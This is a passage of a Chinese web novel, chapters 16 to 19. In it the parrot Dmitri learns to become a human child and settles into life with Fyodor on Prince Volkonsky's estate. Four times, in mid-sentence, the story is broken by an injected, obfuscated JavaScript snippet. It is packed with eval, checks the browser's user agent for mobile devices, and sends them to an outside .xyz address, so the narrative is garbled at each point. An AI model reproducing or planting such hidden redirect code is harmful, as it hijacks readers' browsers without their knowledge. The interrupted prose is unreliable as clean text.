当德米特里已经成长到不再需要饲养人时时刻刻盯着它的时候,费奥多尔就将更多时间和精力都放在了正事上面,不过,这并不代表他不关注德米特里,当德米特里没在规定时间回来时,他第一时间就察觉到了。 他当时考虑过很多种情况,例如德米特里自己没有时间观念导致玩过头了,又或者是被别的突发事件耽搁了,万万没想到居然是这种意外情况。 他看着怀里醉得神志不清的孩童,虽然人类孩童与鹦鹉的相似之处并不多,但他还是认出来了,这就是德米特里。 除了德米特里,也没有人会这样对他了。 “爸爸!”德米特里脸颊红扑扑的,用白白嫩嫩的胳膊搂住他的脖子,不知想到了什么,露出一个有些飘忽的笑,在他耳边含含糊糊地说话。 费奥多尔一开始没听清对方叽里咕噜在说些什么,嗅到了对方身上的酒气,便打算给对方洗个澡。当他将孩童放在浴缸里,准备趁着接温热水的时间去找条新的厚毛巾时,对方就本能地抱紧了他的脖子,死活不撒手,这时他才听清了对方呢喃的话,“德米特里……最喜欢爸爸……” “……最喜欢……一直……陪我好不好……” “……”费奥多尔原地顿住了,半晌,他听到了自己微不可闻的一声叹息。 “好。” 给鹦鹉洗澡从来不是一件轻松的事,费奥多尔对此早有预料。当德米特里还是一只鹦鹉时,他每次给对方洗澡,都会被溅得一身水,对方好像将洗澡当做了玩耍的方式,用翅膀拍水时,满心满眼都是纯粹的快乐。 现在的德米特里也是这样,费奥多尔的上半身都被水打湿了,还好他有先见之明,特意接了温度比较高的水,不至于浑身凉飕飕。 一阵兵荒马乱过后,总算是洗完了。费奥多尔用厚毛巾把德米特里裹起来,几乎裹成了粽子,这样一来,德米特里就没法伸手捣乱了,他也可以安心帮对方吹头发。 德米特里头发很长,如果站起来,头发长到能把他自己绊倒,他还拥有让人羡慕的浓密发量,发尾渐变的鲜红色极为自然,为整体偏暗的发色添了一抹明亮的色彩。 费奥多尔拿着吹风机,足足吹了一个多小时,才把对方的头发彻底吹干,等一切终于结束之后,他的手臂又酸又痛,而罪魁祸首却双目紧闭,正在酣眠。 . 次日,德米特里醒来时,还是没有变回鹦鹉。发现自己变成人之后,他找到正在旁边看书的费奥多尔,兴高采烈地飞奔过去,结果因为走路不熟练,头发又拖到了地板,差点被自己的头发绊倒。 若非费奥多尔眼疾手快地扶了他一把,多半会摔伤。而德米特里却一点都没有吓到,反而顺杆往上爬,顺势抱住费奥多尔的小臂,眼神很亮地喊道,“爸爸,你快看!我变成和你一样的人了!” 费奥多尔淡淡地“嗯”了一声,见德米特里穿得单薄,就找来一件领子毛绒绒的外衣,帮对方从上至下扣好扣子,还叮嘱道,“这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210306|181131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天气要穿好外套。” 德米特里往窗口一看,就看到了外头飘斜的雨丝,乖乖地说道,“哦。” 那件外衣是给大人穿的,相较于成年人的身形,德米特里显得十分瘦小,他穿着毛领外衣,几乎半张脸都被毛领遮住了,衣服的下摆到了膝盖,就显得他更小一只了。 经过了刚开始的兴奋劲之后,德米特里回过味来了,有些疑惑地问道,“我为什么会变成人呀?” 这一次,无所不知的费奥多尔同样给出了答案。他想了想,就对德米特里说,“跟着我一起念——德米特里变回了鹦鹉。” “德米特里变回了鹦鹉。”德米特里跟着一起念,然后,神奇的事情发生了,就像动画片里的魔法口令一样,在他说出这句话之后,他的身形就发生了缩小,原本穿着的衣服裤子都垮了下来,在地上堆成一个小山丘。 德米特里在衣服堆成的小山丘里挣扎了半天,爪子不小心挂住了毛衣的缝隙,导致好一会儿都出不来,还是费奥多尔把他解救了出来。 “变回来了!”德米特里看着自己的翅膀,朝费奥多尔投去了崇拜的目光,“爸爸,这是变回去的口令吗?” 费奥多尔一副轻描淡写的样子,好像这一切对他来说都是小问题,闻言,他点了点头,“只要说出口令,就可以变回鸟。” 见德米特里接受得很快,他还循循善诱道,“那么,你知道怎样变成人吗?” 德米特里思考了几秒,很快得出了结果,“德米特里——变成了人。” 答案是对的。 费奥多尔摸了摸对方的头,给出了罕见的夸奖,“不错,你已经具备了解决问题的能力。” 德米特里非常高兴,一半是因为费奥多尔的夸奖,一半是因为这个可以让他变来变去的“魔法”——是的,他早已忘了自己曾无意间成功的那次言灵,只以为这种让他变来变去的神奇力量是魔法,而费奥多尔是个厉害的巫师。 他甚至还想着,要帮爸爸保守巫师的秘密——这可是他们两个人的秘密! 再次变回人后,用不着费奥多尔操心,德米特里自个儿折腾了一会儿,聪明的小孩就自己穿好了衣服。 第一次变成人,德米特里又跑又跳,摔了好几跤,却从不叫疼,又一次脸朝地摔倒时,他利索地爬起来,眼前正好是一把大提琴。 在搬进这里的第一天,这把大提琴就作为装饰,静静地待在角落里,旁边还靠着一把落了灰的琴弓,因为摆在不起眼的地方,没人会来擦一擦上面的灰。 德米特里作为鹦鹉的时候将这个房间探索了个遍,就连床底下几个零星的蜘蛛网,都被它用喙戳破过。唯独这一把陈旧的大提琴,它没怎么折腾过,这主要是因为大提琴太大了,它很难做到用爪子去够琴弦,除非它学会悬停,但悬停对一只鹦鹉来说几乎是不可能学会的超纲技巧。 今非昔比,对鹦鹉来说过于巨大的琴弓,德米特里现在可以拿起来,虽然大提琴的本体还是太过沉重,他没法挪动,但是在现在,他可以通过琴弓摩擦琴弦来制造一些特别的声音了。 17.chapter17 德米特里此前只接触过钢琴一种乐器,对大提琴十分陌生,拿起琴弓也不嫌上面有灰,就兴致勃勃地蹲在大提琴前面,试着用琴弓在琴弦上摩擦,几番试验后,总算能让大提琴发出声音了。 德米特里自己不觉得这样的声音吵闹,致力于让大提琴发出不同音阶的声音,但这种声音放在会拉大提琴的人耳朵里,就像锯木头一样难以忍受。 没人教过德米特里怎样拉大提琴,他自己摸索,只觉得好玩又有趣,于是乐此不疲,旁边那个一直在忍受他制造的声响、等他丧失兴趣的人却要失望了。 见德米特里一直在摆弄大提琴,对方为了自己的耳朵着想,也只得放下手中的事务,过来一探究竟。 正当德米特里一个人自得其乐时,头顶忽然投下一片阴影,他一抬头,就对上了一双暗红色的眼眸。对方微微弯下腰来,手指抵着下巴,仿佛在思索着什么。 对方盯着这把琴看了一会儿,将琴扭过来,就发现某处的木头出现了断裂,便道,“这把琴坏了,难怪听起来这么不对劲。” 见德米特里对大提琴还有兴趣,费奥多尔本来想找个法子,好让德米特里放弃在他这里锯木头的念头,这会儿瞧着大提琴半晌,不知为何改变了想法。 也许是一时兴起,他从衬衣口袋里取出一张手帕,将琴身和琴弓都擦得一尘不染,随后找了张凳子,将琴搬过去,稍微调整了一下姿势,让琴靠在大腿上,手指也按上了琴颈处的弦,久违地拉了一首没有歌词的古老曲子。 费奥多尔记不清这首曲子是什么时候学会的,之所以选中这首曲子,只是因为第一时间想起了这个。 虽然是随便选的曲子,德米特里倒是很喜欢。不出意料,德米特里要他教他,如果他拒绝的话,对方一定会缠着他,抱着他的腿喊出类似“求你了,爸爸”之类的话,各种胡搅蛮缠的手段,他是见识过的。那样的话,说不定会比答应对方更浪费时间,所以他还不如直接答应算了。 与钢琴不同,这把常规尺寸的大提琴并非儿童能驾驭的东西,对于德米特里来说,大提琴实在是太沉了,德米特里双腿根本就夹不住大提琴,也就无法固定。既然无法固定,就更别提完整地拉完一首曲子了。 不过,也并不是全无办法,只是得看费奥多尔自己愿不愿意。他可以让德米特里坐在他腿上,这样他就能帮对方固定住大提琴。 对于曾经的费奥多尔而言,这会是一个巨大的挑战,虽然不太能看出来,但他其实很排斥与他人的肢体接触,然而如今却不一样了,他早就习惯与他人……不,他鸟接触了。 他妥协般叹了口气,对德米特里说道,“过来。” 德米特里眼睛一亮,立刻就知道费奥多尔答应他了,生怕对方改变主意,赶忙跑了过去。他只感到有一双有力的手将他抱了起来,然后就落入了一个气息如雪松般冰冷寒凉的怀抱里。 费奥多尔的体温一直都偏低,手心永远是冰凉的,自从德米特里变人之后,因为以前没有体验过有五根手指的感觉,总是会好奇地用手去抓握什么,被他抓的对象通常是费奥多尔的手,这样一来,德米特里对费奥多尔手冰这点的感受就更加明显了。 一只大手握住了德米特里的手,引导着他按住某一根琴弦,另一只手则直接在握住他的手同时握住了琴弓,紧接着,他就听到有悠扬低沉的乐声从自己手中流泻而出,这一切太快,他来不及感受到什么,也无法从中学到太多,一切就戛然而止了。 “好了。”他听到有人在他耳边说,“自己去练练吧。” . 兴奋劲儿还没散去时,德米特里还去找了聂赫留朵夫,后者一开始很不习惯,跟他说了几句话,很快就习以为常了。 聂赫留朵夫只把德米特里变人这事儿告诉了玛利亚太太,其他人都不知道这个留着女孩般灰色长发的孩子是什么来历,就连聂赫留朵夫的外祖父,这座庄园真正的主人,都对此不知情。 因为头发太长,德米特里不可能简单地披着头发出门,否则很容易踩到头发摔倒。费奥多尔出于某种顾虑,也没有尝试给德米特里剪头发,毕竟还不清楚给人形剪发会不会影响鹦鹉形态的羽毛,万一给德米特里剪了头发,导致鹦鹉变成了一只秃毛鸡,那事情就很难办了——羽毛对鸟儿来说可是很重要的。 综合考虑下来,费奥多尔就给德米特里扎了个辫子,刚好到腿部,不至于会绊到了。不过他的编辫子技术实在是堪忧,显得头发乱乱的,玛利亚太太见了都忍不住让德米特里坐过来,她帮忙重新编了个辫子,还童心未泯地在发尾绑了个蝴蝶结。 玛利亚太太明显对她的作品很是满意,忍不住揉捏德米特里的脸蛋,若非刚好有事,她还想给德米特里换身漂亮的衣服,眼下也只好走了。走前,她还依依不舍地说道,“德米宝贝,等我回来,帮你换衣服好不好?” 德米特里差点一口答应,结果聂赫留朵夫却在后面拽了他一把,对他使了个眼色。等母亲走了,聂赫留朵夫才让德米特里附耳过来听悄悄话,“不要答应她,她会给你换一整天衣服都不带停的!” “更糟糕的是,”聂赫留朵夫露出了难以启齿的神色,仿佛想起了什么不好的回忆,吞吞吐吐半天才说,“妈妈她收藏了好几个衣柜的女装,专门给你这个年纪的小孩子穿的。” 德米特里对性别的认知很模糊,他只知道他是个男孩子,其余的一概不了解。他不觉得穿女装有什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215475|181131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么问题,歪了歪头,问道,“有什么不好吗?” “难道你喜欢这个?”聂赫留朵夫微微睁大了眼,语气中有几分不可思议,倒是很容易就接受了,“好吧,如果你高兴的话,怎样都可以。” 就这么闲聊着,聂赫留朵夫忽然想到一个消遣的好主意,凑过去问德米特里的意见,“我们去骑马吧,怎么样?” 德米特里去过这里的马厩,不过是以鹦鹉形态去的。那些马匹太过高大,随便一匹马的蹄子就比他整只鸟要大了,当时他就在附近的树上观望着,看见拿着鞭子的驯马师对马匹吆喝着,只觉得马这种生物真的太大了,难怪聂赫留朵夫曾展示给他看的那把马鞭那么粗,鞭子如果不够粗的话,甩在马身上,恐怕和挠痒痒差不多。 德米特里毫不犹豫地同意了,比起聂赫留朵夫这个早有骑马经验的少年,他对从未接触过的骑马有着极高涨的兴趣。 然而,现实不尽如人意,马厩里的马儿每一匹都十分健壮,根本不适合小孩子。 驯马师特意牵了一匹不那么高大、性情偏温顺的成年马儿过来,态度谦卑地说道,“抱歉,尊敬的客人,庄园近几年没有出生小马驹,恐怕只能请您将就一下了。” 小孩骑小马,可现在没有小马。 德米特里努力仰起头看向上方马脸,只看到马儿咀嚼草料的下巴。他目测了一下马背的高度,就发现一个事实——就算他蹦起来,也不可能单凭自己爬上马背。 看着已经骑上马,正缓缓往他这边走来的聂赫留朵夫,德米特里忽然灵光一闪,对着马匹说了几句叽里咕噜的话,旁人听不懂他说了什么,只见马儿忽然停住了咀嚼的动作,以一种极缓慢的速度缓缓跪趴了下来,而德米特里则迅速地爬上了马背,随着马儿逐渐站立起来,德米特里就紧紧地抱住了马脖子,他现在离地面太远了。 亲眼目睹这种神奇的景象,驯马师嘴巴张张合合,三观都被震碎了。好半天,才想起要恭维一句,“可见您与马儿心意相通,是天生的马术天才啊!” “谢谢。”德米特里回道,余光瞧见聂赫留朵夫一脸的瞠目结舌,他还把脸从马鬃里抬起来,得意地喊道,“我曾经驯服一只雄鹰!” 德米特里以前就这么吹嘘过,但聂赫留朵夫之前都没当回事,只以为是吹牛,现在才真信了,很给面子地夸赞道,“真厉害。” “……” 趁着两人正在说话时,驯马师找了个由头,让另一个负责养马的人过来替他牵着德米特里骑的马,随后就消失在了视野里。 两人都没有关注驯马师离去的路线,所以就没人发现,本没有资格随意进入庄园主住宅的驯马师竟然径直走进了侧门。 . 18.chapter18 德米特里成功驯服了一匹马,聂赫留朵夫将这事儿原原本本地告诉了费奥多尔。 费奥多尔先生依旧维持着他那万年不变的冷静,仿佛没有什么事能够让他感到惊讶。他对德米特里说道,“这是真的吗,德米特里?” 德米特里立刻保证自己没有撒谎,就像一个在幼儿园得了小红花,急着和家长炫耀的小朋友。 他怕费奥多尔不信,还踮起脚来,拽着对方的衣角,非要对方听他说完详细经过。 “我对那匹马说,我们做好朋友好不好?我告诉它,如果它答应和我做好朋友,我就给它带好吃的蓝莓,然后它就答应了——什么?你问我怎么知道它答应了?因为它主动趴下了,所以就算它不说话,我也能猜到它的意思。我就知道,没有谁可以拒绝蓝莓,蓝莓是世界上最棒的水果!” “它一定是这座庄园最好的马,我骑在它身上,简直如履平地,”德米特里夸张地说道,“而且它的鬃毛真的很茂密,我猜保暖效果一定很棒!” “……”费奥多尔静静地倾听着,当德米特里寻求回应地看过来时,他就淡淡地“嗯”一声,然后德米特里就会更加兴致勃勃地继续往下讲。 “……我给它取了个名字,叫做珍妮,听起来就很漂亮!”德米特里说着,刚好看到了有人牵着那匹马从不远处经过,他立刻指着马,“看,是不是很漂亮?” 费奥多尔说道,“……那不是一匹公马吗?” 德米特里理直气壮地说道,“但是珍妮很漂亮,不是吗?浑身都是白色的,就像雪一样。” . 换了个地方住,德米特里的生活却没有产生多少变化。 在阿尔泰边疆区的时候,德米特里的日常很简单,早晨,他通常会在费奥多尔的枕头边醒来,然后充当鹦鹉闹钟,准时准点地把费奥多尔叫醒,有时,因为熬夜熬得太晚,费奥多尔刚被他吵醒,没过几分钟又睡了个回笼觉。 没人陪德米特里玩的时候,他就会自己找乐子,家里的每一处角落他都再熟悉不过,就算是少有人至的储物间,他也曾一头扎进去,弄得身上都是灰,因为这个,费奥多尔特意买了把牢固的锁,将储物间锁起来。 到了图拉州,德米特里就有更多发挥空间了。他最近跟那匹肯让他骑的白马打得火热,看他们那跨物种交流的样子,费奥多尔有时都会有种啼笑皆非的感觉——他养的究竟是鹦鹉,还是迪士尼公主?德米特里不止能和鸟类对话,还能跟其他物种畅通无阻的交流,就像北欧神话中的自然精灵一样。 不过想想德米特里的来历,费奥多尔也就不觉得奇怪了。 大多数时候,生活都是平静无波的,不过偶尔也会出现小插曲。 除了刚来庄园时曾听到过聂赫留朵夫的外祖父——那位沃尔康斯基公爵和玛利亚太太吵架的声音,还有上次那个导致他变成人的沙龙上,德米特里藏在聂赫留朵夫的帽子里听到了对方和聂赫留朵夫的生硬谈话,德米特里几乎没怎么和对方打过照面。 从聂赫留朵夫的口中,沃尔康斯基公爵是个脾气又臭又硬的老头,总是用马鞭抽人,而且心肠特别硬,就算是对德米特里这样的小鸟,也不会手下留情。 而玛利亚太太的说法却不一样,有一次,她无意间听到聂赫留朵夫和德米特里说外祖父的坏话,还特意过来阻止了。 “我不否认你外祖父确实脾气不怎么好,但……”她叹了口气,“你知道的,带兵打仗的将军都是这样,脾气火爆,行事果决。他对男孩的教育方式也确实不对,但他是爱你的,只是太期待你成才了。别这么说一个爱你的人,好吗?” 聂赫留朵夫忍了又忍,还是反驳道,“如果他真的爱我们,当初父亲去世时,我们就不会那么孤立无援了。” “……你外祖父他也想帮我们,但实在是束手无策啊,因为一桩冤案,沙皇陛下迁怒于沃尔康斯基,导致我们整个家族都受到了牵连,”玛利亚太太劝解道,“更何况,因为那个案子已经翻案了,军队也需要沃尔康斯基,曾经失去的一切现在都回来了。等你长大了,你的父族,你的母族,都会是你的。” 聂赫留朵夫眼神复杂,诚然,外祖父对他的态度简直和仇人没两样,每次见到他,都鼻子不是鼻子,眼睛不是眼睛,说话也难听得要命,但不可否认的是,作为沃尔康斯基家族这一代唯一的直系后裔,外祖父打下的家业多半会落到他的头上——他当然不想要那个老家伙的东西,一想到老家伙那张刻薄的脸,他就感到一阵反胃,但是他总不能替母亲做选择,母亲毕竟是外祖父唯一的女儿,但她是个女人,法律不允许她继承家产。 他跟着母亲改嫁,搬家,几乎事事都是听母亲的话。母亲让他改姓,他就改了,母亲让他不要仇视外祖父,他就尽量避免在母亲面前谈论那个讨人厌的老家伙——这一切都是因为他尊重并敬爱这个抚养他长大的女人。在聂赫留朵夫心里,她温柔,圣洁,与圣母玛利亚相比,也并不差。 在最崇拜母亲的年纪,他甚至想过写一本书,将她光辉的形象永久留存,他也确实付诸实践了,只不过因为种种原因,他没能把那本书寄给出版社,甚至都没有试着寄给报社——他又想起了那只在他稿子上拉屎的可恶麻雀。 “好吧,您说得对。”他低下了头颅,“我收回我之前的话。” 然而,就在聂赫留朵夫退让的当天,就被那个他在心里骂了无数遍的老家伙又教训了一顿,而原因听起来十分荒谬——他笑了。 是的,他笑了。 不是别的,只因为他不得体地“笑”了。 俄国有一句谚语,无缘无故的笑是傻蛋的标志。在俄国,为了避免被当成傻瓜,人们不会随便微笑,从而造就了一个刻板印象——俄国人都很高冷,并且吝啬微笑。 有意思的是,如果你问一个俄国人,“俄国人天生不爱笑吗?”那么对方多半会这样回答:“我们只会真诚的笑。” 言外之意就是,俄国人不会像那些虚伪的人一样假笑,他们不屑于像阿美莉卡人那样逢人便笑,太假了。 聂赫留朵夫在阿尔泰边疆区住了几年,都快忘了这个谚语,他母亲一开始也习惯板着脸,在阿尔泰边疆区住着住着就会笑了,因为历史原因,俄式风俗在那里的扎根深度非常低。因此,在第一次见面时,身为陌生人的费奥多尔对她微笑,她也不觉得反感,还回了个笑。 聂赫留朵夫之前也吝啬微笑,还从他外祖父那里学了贵族腔调的刻薄话,后来就渐渐抛弃了那些习惯,想笑就笑,在阿尔泰边疆区,没有人会觉得笑是一件丢人的事。 说到聂赫留朵夫为什么笑,其实是因为当时德米特里变成了鹦鹉,正站在楼梯扶手上梳理羽毛,聂赫留朵夫看到了,就情不自禁地笑了笑,结果就被外祖父抓了个正着。对方是个传统的俄罗斯男人,无法忍受家里有人像个傻蛋一样笑。 聂赫留朵夫憋屈得要命,偏偏碍于强权,只能忍气吞声,看着外祖父的眼睛都要喷出火来,他心知自己多半要挨一顿抽,也还是不认输地梗着脖子,恶狠狠地瞪着对方,今天玛利亚太太刚好不在,没人能调解,祖孙两个就这样杠上了。 最后的结果当然是一家之主赢了。沃尔康斯基公爵手里握着一根鞭子,冷笑着宣告了他的胜利,而聂赫留朵夫别无他法,人在屋檐下,不得不低头。 这是德米特里第一次亲眼见识到沃尔康斯基公爵的暴力。从德米特里的视角来看,他只是跟聂赫留朵夫打了个招呼,然后聂赫留朵夫就莫名其妙地被训斥了一顿,看情况,等会儿说不准还要挨一顿打。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16226063|181131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 沃尔康斯基公爵对聂赫留朵夫不假辞色,脸色臭得可以,看起来对后者很不满意。作为聂赫留朵夫的朋友,看到沃尔康斯基公爵朝他走来时,德米特里感觉自己心跳得飞快,聂赫留朵夫说的没错,对方简直像一头棕熊,太吓人了。 鹦鹉的视角太低,德米特里就算拼命仰起头来,都看不到对方的眼睛,只能看到对方灰白胡茬的下巴。 德米特里紧张兮兮地看向对方,对方向他伸出手时,他浑身羽毛都炸了起来,警惕地注视着对方的手指,生怕对方下一刻就要像揍聂赫留朵夫一样揍他。 大概是德米特里表现得太过惊恐,眼睛瞪得很大,翅膀也微微抬了起来,也许是因为怕被德米特里叨,对方手伸到半空,又停住了。 聂赫留朵夫回过头,就看见外祖父突然顿住了,眼神中透出一丝疑惑。只见对方顿了几秒,突然又恢复了正常,猛的拍了一下聂赫留朵夫的背,“站直点!” 聂赫留朵夫又开始生气了,一声不吭地挺直了背,心中不服,他明明站得很直,这老家伙就是在没事找事。 见对方终于走了,应该是不准备揍他这只弱小无助的小鹦鹉了,德米特里这才松了口气,目送聂赫留朵夫离开的目光饱含同情,就好像在看对方上法场似的。他还在心里祈祷,希望沃尔康斯基公爵立刻拉肚子,最好在厕所里蹲个几天几夜,这样聂赫留朵夫就不会挨打了。 聂赫留朵夫刚被带走时,德米特里还在为对方提心吊胆,没过多久,他就开始发挥好动本性,一边等聂赫留朵夫回来,一边在客厅里的桌子上蹦来蹦去。 桌子上有个果盘,德米特里发誓,他一开始并不感兴趣,只是因为果盘里有种黄褐色的水果实在是太香了,他才凑过去闻一闻香气,才不是要偷吃—— 突然传来开门声,德米特里吓得一激灵,赶紧找了个掩体躲起来,最近的掩体就是那个果盘,他躲在后面探头探脑,就发现来人不是他记挂的聂赫留朵夫,而是沃尔康斯基公爵。 对方朝着桌子的方向走来,德米特里心都提到了嗓子眼,随时预备喊救命,呼唤爸爸来救他。对方径直走到桌子边上,搞得德米特里心里七上八下,却只是拿了个水果,还问了厨娘一声,“这是什么水果?” “这是南边来的猕猴桃,前些日子,有人送到老爷您这里的礼品里就有不少。”厨娘回答道。 德米特里这才知道那种一看就很好吃的黄褐色水果叫做猕猴桃。 对方给猕猴桃剥了一半皮,尝都没尝一口,就没有耐心了,随手将猕猴桃一扔,刚好就扔到了德米特里面前——是的,正正好就落在德米特里前面。 德米特里都睁大了眼,还有这么巧的事? 然后对方就走了,也不打算收拾一下,径直走掉了。 德米特里疑神疑鬼,好半天才敢伸出头,用喙轻轻啄了一下那颗被抛弃的,还算完整的猕猴桃,立刻就被猕猴桃的美味俘获了。 后面几天,不知是不是错觉,德米特里总觉得果盘里多了好多猕猴桃,每次飞过果盘上空,都馋得流口水,但碍于沃尔康斯基公爵的恐怖,德米特里完全不敢造次。 好在沃尔康斯基公爵是个习惯很差的人,对方总是浪费食物,经常把猕猴桃剥了一半就丢掉,剥了又不吃,看得德米特里非常难受——怎么可以浪费食物呢? 还好对方没有将不吃的东西丢进垃圾桶,而是放在桌子上,给佣人增加工作量——原谅德米特里,他实在是想不到对方这样做的其他可能动机了。 就算他不吃,结果也是扔掉,因此德米特里就毫无负担地吃掉了那些水果,渐渐地,他甚至形成了一个习惯,每次一看到沃尔康斯基公爵闲着没事开始剥水果,他就等对方走了,再去吃那些本来要被浪费的水果。 19.chapter19 秉承着不浪费食物的原则,德米特里不仅消灭了沃尔康斯基公爵剩下的水果,还把费奥多尔准备给他的正餐吃得干干净净,造成的结果就是撑得慌。 费奥多尔注意到德米特里异状时,德米特里正恹恹地趴在桌子上,一动不动。这对好动的德米特里来说并不多见,所以费奥多尔就过去看了一眼情况。 他一走过去,德米特里就缓慢地转过脑袋,费劲地扑腾了一下,把自己翻了个面,露出羽毛颜色较浅的腹部,呜呜咽咽,“我好难受。” 说着,德米特里还干呕了一下,落在费奥多尔的眼里,就跟抽搐痉挛有些类似,费奥多尔还以为德米特里得了急病,或者感染了什么流感病毒,连忙检查了一下。 “你干什么了,德米特里?”费奥多尔稍微检查一下,就发现嗉囊比平时略鼓了点,像是吃多了。但德米特里以前都没有出现过吃多的情况,作为一只智商远超常鸟的鹦鹉,他是知道饥饱的,因此费奥多尔选择先问一下,再下结论。 德米特里依旧躺着,一副有气无力的样子,闻言诡异地沉默了两秒,装傻,“我什么都没干呀。”如果他告诉对方,他吃了别人不要的东西,总感觉会被训的吧。 这幅样子,无疑是不打自招。费奥多尔比德米特里自己还要了解自己,一见就知道德米特里说谎了,他也不拆穿,瞥了对方一眼,直接走了。 德米特里仰躺着,一开始还没发现费奥多尔已经走了,等他耳尖地听到旁边的软椅传来细微的塌陷声响时,才意识到对方居然就这么走了。 尽管实在是撑得慌,德米特里还是艰难地飞到了软椅附近,模仿看过的影视剧,十足幽怨地说道,“你是不是不爱我了?你都不关心我。” 费奥多尔头也不抬,用手把德米特里凑过来的脑袋挡住,不让对方影响自己看书。可德米特里不得到回应誓不罢休,发现无论如何也无法用鹦鹉的身体干扰费奥多尔后,他就立刻变成了人,抱住对方的小腿,用脑袋去顶对方手里的书,扰得对方烦不胜烦,只好先放下书。 他刚一把书合上,就对上了德米特里幽幽的视线,对方像只树懒一样抱住他的腿,就算他站起来,对方也抱着不撒手。无奈之下,他只好把对方抱起来,省得对方像个秤砣一样挂在他身上。 “你是不是胖了?”费奥多尔掂量了一下手里的幼崽,“感觉重了不少。” 德米特里立刻反驳道,“我才没有胖!”见费奥多尔还真给他称了重,而他居然还真重了一点,他还是不愿意承认自己变胖的事实,开始胡说八道,“是因为头发长长了。” “头发有这么重?”费奥多尔听他狡辩,有点想笑,但是忍住了。 德米特里支支吾吾半晌,见费奥多尔还要接着说他体重的问题,赶紧变回鹦鹉,从窗户飞出去了。 “不跟你玩了!”德米特里气呼呼地飞走了,没多久又回来了。 德米特里悄悄落在地上,自以为悄无声息,又走到镜子前面,对着镜子转了一圈,欣赏自己的美貌。他之前从不觉得自己胖,因为他没见过别的同类,直到他有一天从电视上看到了一只身段颀长,气质优雅的灰鹦鹉,他才察觉到一件事——比起正常的灰鹦鹉,他可能真的有一点微胖,当然,只有一点点。 作为一只从小在夸奖和称赞里长大的鹦鹉,虽然表现得不明显,但德米特里其实非常自恋。几乎每个见过他的人都会夸他可爱,夸他聪明,他也逐渐理解了自己的与众不同。 之所以对胖比较抵触,主要是因为审美。就算是鹦鹉,对美丑也是有一定辨别能力的,在鸟儿眼里,矫健轻灵才代表着美,所以德米特里不想变成一只胖鸟——虽然他已经是了,但至少在现在,他并不这么认为。 可能是因为鹦鹉形态吃胖了,连带着人身也重了一些,德米特里给自己穿了身衣服,又哒哒哒地跑到镜子前面,盯着镜子里的自己,乍一看好像和之前没什么区别,但……不知是不是错觉,他总感觉自己脸颊都变肉了。 注意到这件事之后,德米特里整只鸟……啊不,整个人都闷闷不乐的,费奥多尔见他垂头丧气的,本以为德米特里会自己排解,就没打算管,可德米特里连着几天都这幅生无可恋的样子,费奥多尔就问了一句。 德米特里依旧是不太高兴的样子,估计是因为费奥多尔这几天没怎么理他,就开始生气了。 “胖一点也没什么大不了。”费奥多尔只好安慰道。 “那你说,德米特里不管怎样都好看。”德米特里幼稚地扯着对方的袖子,眼睛一眨不眨地看着对方,非要一个答案不可。 “……”说句话又不会少块肉,这里也没有其他人。费奥多尔沉默半晌,还是说道,“德米特里不管怎样都好看。” “真的?” “……真的。” 德米特里这才高兴起来,也不生胖气了,立刻笑了出来,脸上浮现两个不明显的小酒窝,“嘿嘿,爸爸不会骗人。所以我就是很好看,德米特里最好看!” . 自打德米特里可以变成人之后,他就过上了一天人,一天鸟的日子,导致佣人们都以为是客人带来了一位总是笑得很可爱的小客人,还养了一只古灵精怪的鹦鹉,从未怀疑过鹦鹉和人都是同一个灵魂。 有了上次吃太饱,导致不舒服的教训,德米特里就不会再一个劲地猛吃了,虽然他对猕猴桃还是很馋,对正餐里的蓝莓也垂涎欲滴,好歹还是忍住了。 也不知道哪来那么多空闲,沃尔康斯基公爵又闲着没事开始剥猕猴桃,兴许是剥得多了,一开始还会剥得满手汁,现在却不会了。 德米特里变成鹦鹉,自以为隐蔽地站在装饰用的柜子后面,盯着对方手里那颗猕猴桃半晌,才沉痛地移开目光,他刚才已经吃过了,所以就算馋,也得掂量一下自己的胃容量。 一如既往,对方没有吃,将猕猴桃放在桌子便走了。 大概是出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16238180|181131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去散步了?德米特里心道,老年人好像都喜欢散步。 